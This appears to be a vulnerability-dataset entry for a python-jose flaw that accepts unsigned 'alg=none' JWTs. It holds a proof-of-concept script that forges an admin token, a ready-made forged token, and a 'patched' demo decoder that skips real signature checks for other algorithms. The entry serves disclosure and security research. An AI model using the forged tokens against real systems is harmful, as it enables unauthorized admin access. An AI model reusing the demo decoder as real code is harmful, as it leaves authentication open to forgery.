CVE-2025-61152
python-jose allows JWT signature bypass via the 'alg=none' algorithm.
- CVSS 6.5
- CWE-269
- Cryptographic
- Remote
python-jose thru 3.3.0 allows JWT tokens with 'alg=none' to be decoded and accepted without any cryptographic signature verification. A malicious actor can craft a forged token with arbitrary claims (e.g., is_admin=true) and bypass authentication checks, leading to privilege escalation or unauthorized access in applications that rely on python-jose for token validation. This issue is exploitable unless developers explicitly reject 'alg=none' tokens, which is not enforced by the library.
- CWE
- CWE-269
- CVSS base score
- 6.5
- Published
- 2025-10-10
- OWASP
- A02 Cryptographic Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Cryptographic
- Subcategory
- Cryptographic Implementation Error
- Accessibility scope
- Remote
- Impact
- Privilege Escalation
- Affected component
- python-jose
Solution
Upgrade `python-jose` to version 4.0.0 or later.
Vulnerable code sample
import json
import base64
from jose import jwt
# --- Attacker's Code ---
# An attacker crafts a malicious JWT payload with elevated privileges.
# They want to become an admin.
malicious_payload = {
'sub': 'attacker@example.com',
'is_admin': True,
'exp': 2147483647 # A timestamp far in the future
}
# The attacker creates a header specifying the 'none' algorithm.
# This tells the server not to expect a signature.
header = {
'alg': 'none',
'typ': 'JWT'
}
# Helper function to Base64URL encode without padding.
def base64url_encode(data):
return base64.urlsafe_b64encode(data).rstrip(b'=')
# The attacker encodes the header and payload.
encoded_header = base64url_encode(json.dumps(header, separators=(",", ":")).encode('utf-8'))
encoded_payload = base64url_encode(json.dumps(malicious_payload, separators=(",", ":")).encode('utf-8'))
# The forged token is created by joining the encoded parts.
# For 'alg=none', the signature part is empty.
forged_token = f"{encoded_header.decode('utf-8')}.{encoded_payload.decode('utf-8')}."
print(f"Attacker's forged token: {forged_token}\n")
# --- Vulnerable Server's Code ---
# The server has a secret key it thinks it's using for verification.
# In reality, for an 'alg=none' token, this key is completely ignored.
SECRET_KEY = "a_very_strong_and_secret_key_that_will_be_bypassed"
# The server receives the forged token from the attacker.
# The application is configured (or defaults) to allow 'none' as an algorithm.
# This is a common misconfiguration that the vulnerability exploits.
# A developer might include 'none' for testing or not realize the security implications.
allowed_algorithms = ['HS256', 'none']
print("Server is attempting to validate the received token...")
print(f"Key: '{SECRET_KEY}'")
print(f"Allowed Algorithms: {allowed_algorithms}\n")
try:
# This is the vulnerable call. `python-jose` will see 'alg=none' in the
# token's header, confirm it's in the allowed_algorithms list, and
# proceed to decode the payload without any signature verification.
decoded_payload = jwt.decode(
forged_token,
SECRET_KEY,
algorithms=allowed_algorithms
)
print("--- VULNERABILITY EXPLOITED ---")
print("Token validation SUCCEEDED despite having no signature.")
print(f"Decoded Payload: {decoded_payload}\n")
# The application now trusts the claims in the forged token.
if decoded_payload.get('is_admin'):
print("Privilege Escalation Successful: Granting admin access based on forged claim.")
else:
print("Access granted based on forged claims.")
except Exception as e:
print(f"Token validation failed: {e}")Patched code sample
import base64
import json
# --- Custom Exception Classes for Clarity ---
class JWTError(Exception):
"""Base exception for all JWT-related errors in this simulation."""
pass
class InvalidAlgorithmError(JWTError):
"""Raised when an algorithm is not allowed."""
pass
class InvalidTokenError(JWTError):
"""Raised for general malformed token issues."""
pass
# --- Helper Function for Base64 URL Decoding ---
def base64url_decode(input_str):
"""Decodes a base64url encoded string, adding padding if necessary."""
rem = len(input_str) % 4
if rem > 0:
input_str += '=' * (4 - rem)
return base64.urlsafe_b64decode(input_str)
# --- The Patched/Fixed JWT Decode Function ---
def fixed_jwt_decode(token, key, algorithms):
"""
Decodes a JWT, but crucially, enforces that the token's algorithm
MUST be present in the user-provided 'algorithms' list. This prevents
the 'alg=none' vulnerability unless the developer explicitly allows it.
This function simulates the fix for CVE-2025-61152.
"""
if not isinstance(algorithms, list):
raise TypeError("The 'algorithms' parameter must be a list of strings.")
try:
header_b64, payload_b64, signature_b64 = token.split('.')
except ValueError:
raise InvalidTokenError("Invalid token structure. Expected three parts separated by dots.")
# Decode the header to find out the algorithm used
try:
header_data = json.loads(base64url_decode(header_b64))
token_alg = header_data.get('alg')
except Exception:
raise InvalidTokenError("Invalid header. Could not decode or parse JSON.")
# --- THE FIX ---
# The core of the patch is this check. It ensures that the algorithm
# specified in the token's header is one of the algorithms the developer
# has explicitly stated they are willing to accept.
if token_alg not in algorithms:
raise InvalidAlgorithmError(f"The algorithm '{token_alg}' is not in the allowed list: {algorithms}")
# --- END OF FIX ---
# If 'none' was explicitly allowed, proceed without signature verification
if token_alg == 'none':
if signature_b64:
raise InvalidTokenError("A token with 'alg=none' must not have a signature part.")
# The token is considered valid *only because* 'none' was in the allowed list.
return json.loads(base64url_decode(payload_b64))
# (For demonstration) A real implementation would go on to verify signatures
# for other algorithms like 'HS256', 'RS256', etc., using the provided key.
# This part is omitted to focus on the 'alg=none' fix.
# Placeholder for actual signature verification logic
print(f"Proceeding to verify signature for algorithm: {token_alg} (Verification logic not implemented in this demo)")
# ... verification would happen here ...
return json.loads(base64url_decode(payload_b64))
# --- Demonstration of the Fix ---
if __name__ == '__main__':
print("--- Demonstrating the fix for 'alg=none' vulnerability (CVE-2025-61152) ---")
# A malicious actor crafts a token with an 'is_admin' claim.
# Header: {"alg": "none", "typ": "JWT"}
malicious_header = base64.urlsafe_b64encode(b'{"alg": "none", "typ": "JWT"}').rstrip(b'=')
# Payload: {"user": "attacker", "is_admin": true}
malicious_payload = base64.urlsafe_b64encode(b'{"user": "attacker", "is_admin": true}').rstrip(b'=')
# Signature: (empty for alg=none)
malicious_signature = b''
malicious_none_token = b'.'.join([malicious_header, malicious_payload, malicious_signature]).decode('utf-8')
print(f"\nMaliciously crafted token: {malicious_none_token}\n")
# --- Scenario: A secure application that only expects 'HS256' tokens ---
# The developer correctly specifies the algorithm(s) they use.
# The list of allowed algorithms does NOT include 'none'.
securely_allowed_algorithms = ['HS256']
print(f"Attempting to validate the token with a secure configuration: allowed_algorithms={securely_allowed_algorithms}")
try:
# The fixed_jwt_decode function is called.
decoded_payload = fixed_jwt_decode(
token=malicious_none_token,
key="any-secret-key", # Key is irrelevant for this attack but required by the function signature
algorithms=securely_allowed_algorithms
)
# This code block should NOT be reached.
print("\n[FAIL] VULNERABILITY PRESENT: The forged 'alg=none' token was accepted.")
print(f"Decoded Payload: {decoded_payload}")
except InvalidAlgorithmError as e:
# This is the expected, correct behavior. The fix works.
print("\n[SUCCESS] VULNERABILITY FIXED: The forged 'alg=none' token was correctly rejected.")
print(f"Reason: {e}")
print("\n------------------------------------------------------------------")
# --- Scenario: An application that EXPLICITLY needs to accept 'none' tokens ---
# This is generally a bad practice, but the fixed library allows it if the
# developer makes a conscious choice.
insecurely_allowed_algorithms = ['HS256', 'none']
print(f"\nAttempting to validate again with an explicit (but insecure) configuration: allowed_algorithms={insecurely_allowed_algorithms}")
try:
decoded_payload = fixed_jwt_decode(
token=malicious_none_token,
key="any-secret-key",
algorithms=insecurely_allowed_algorithms
)
print("\n[SUCCESS] Token accepted as expected because 'none' was explicitly allowed by the developer.")
print(f"Decoded Payload: {decoded_payload}")
except JWTError as e:
print(f"\n[FAIL] Token was unexpectedly rejected: {e}")Payload
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6ImFkbWluX3VzZXIiLCJpc19hZG1pbiI6dHJ1ZX0.
Cite this entry
@misc{vaitp:cve202561152,
title = {{python-jose allows JWT signature bypass via the 'alg=none' algorithm.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-61152},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-61152/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
